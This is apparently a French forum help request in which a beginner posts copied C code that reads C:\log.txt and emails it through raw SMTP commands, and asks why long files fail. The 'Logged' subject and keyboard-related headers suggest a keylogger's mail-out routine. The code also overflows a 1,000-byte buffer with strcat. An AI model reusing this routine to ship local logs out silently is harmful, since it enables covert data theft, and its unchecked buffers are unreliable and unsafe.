Bonjour à tous !

Etant débutant et étant curieux d'apprendre, j'ai copier un bout de code pour essayer de me faire un programme et apprendre le fonctionnement de celui-ci.

Le but du code ci-dessous est de lire un fichier (log.txt) et de l'envoyer par mail, mais le problème que j'ai, c'est que si le fichier n'a pas trop de caractère, il passe, et s'il en a bcp, il ne passe pas (n'est pas envoyé...). Aurais-tu une idée ? Serait-ce les buffers ? N'étant que débutant en programmation, j'ai essayé de changer la grandeur des buffers, mais sans succès...

P.S: n'oubliez pas de changer les 3 variables : mailserver, mailto, mailfrom

Code : Sélectionner tout - Visualiser dans une fenêtre à part
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
 
#include <stdio.h>
#include <stdlib.h>
 
#include <windows.h>
#include <stdio.h>
#include <winuser.h>
#include <windowsx.h>
#include <time.h>
 
char mailserver;
char mailto;
char mailfrom;
char mailsubject;
 
#define mailserver "ton.serveur.smtp"
#define mailto "adresse@mail.destinataire"
#define mailfrom "adresse@mail.delenvoyeur"
#define mailsubject "Logged"
#define BUFSIZE 800
#define waittime 500
 
// Attention !!! Il ne faut pas qu'il y ait des points dans le fichier texte, sinon ça signifie que c'est la fin du mail !!!
 
int main () {
 
    # define TAILLE_MAX 100000
    SOCKET sockfd;
    WSADATA wsaData;
    FILE* fichier = NULL;
    char mailline[TAILLE_MAX] = "";
 
    #define bufsize 10000
    int bytes_sent;   /* Sock FD */
    int err;
    struct hostent *host;   /* info from gethostbyname */
    struct sockaddr_in dest_addr;   /* Host Address */
    char line[1000];
    char *Rec_Buf = (char*) malloc(bufsize+1);
 
    fichier = fopen("C:\\log.txt", "r");        
    if (fichier != NULL)
    {
 
 
        if (WSAStartup(0x202,&wsaData) == SOCKET_ERROR) {
          WSACleanup();
          return -1;
        }
        if ( (host=gethostbyname(mailserver)) == NULL) {
           perror("gethostbyname");
           exit(1);
        }
        memset(&dest_addr,0,sizeof(dest_addr));
        memcpy(&(dest_addr.sin_addr),host->h_addr,host->h_length);
 
 
         /* Prepare dest_addr */
         dest_addr.sin_family= host->h_addrtype;  /* AF_INET from gethostbyname */
         dest_addr.sin_port= htons(25); /* PORT defined above */
 
 
         /* Get socket */
         if ((sockfd=socket(AF_INET,SOCK_STREAM,0)) < 0) {
            perror("socket");
            exit(1);
            }
 
 
         /* Connect !*/
        if (connect(sockfd, (struct sockaddr *)&dest_addr,sizeof(dest_addr)) == -1){
            perror("connect");
            exit(1);
            }
         sleep(waittime);
         err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
         strcpy(line,"helo me.somepalace.com\n");
         bytes_sent=send(sockfd,line,strlen(line),0);
         sleep(waittime);
         err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
         strcpy(line,"MAIL FROM:<");
         strncat(line,mailfrom,strlen(mailfrom));
         strncat(line,">\n",3);
         bytes_sent=send(sockfd,line,strlen(line),0);
         err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
         strcpy(line,"RCPT TO:<");
         strncat(line,mailto,strlen(mailto));
         strncat(line,">\n",3);
         bytes_sent=send(sockfd,line,strlen(line),0);
         sleep(waittime);
         err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
         strcpy(line,"DATA\n");
         bytes_sent=send(sockfd,line,strlen(line),0);
         sleep(waittime);
         err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
         sleep(waittime);
         strcpy(line,"To:");
         strcat(line,mailto);
         strcat(line,"\n");
         strcat(line,"From:");
         strcat(line,mailfrom);
         strcat(line,"\n");
         strcat(line,"Subject:");
         strcat(line,mailsubject);
         strcat(line,"\n");
 
         while (fgets(mailline, TAILLE_MAX, fichier) != NULL) // On lit le fichier tant qu'on ne reçoit pas d'erreur (NULL)
         {
               strcat(line,mailline);
               printf("%s", mailline); // On affiche la chaîne qu'on vient de lire
         }
 
         fclose(fichier); // On ferme le fichier qui a été ouvert
         strcat(line,"\r\n.\r\n"); // . du fin du mail !
         bytes_sent=send(sockfd,line,strlen(line),0);
         sleep(waittime);
         err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
         strcpy(line,"quit\n");
         bytes_sent=send(sockfd,line,strlen(line),0);
         sleep(waittime);
         err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';                         
         #ifdef WIN32
         closesocket(sockfd);
         WSACleanup();
         #else
         close(sockfd);
         #endif
 
         _sleep(3000);
    }
    else
    {
        // On affiche un message d'erreur si on veut
    }
}
Merci !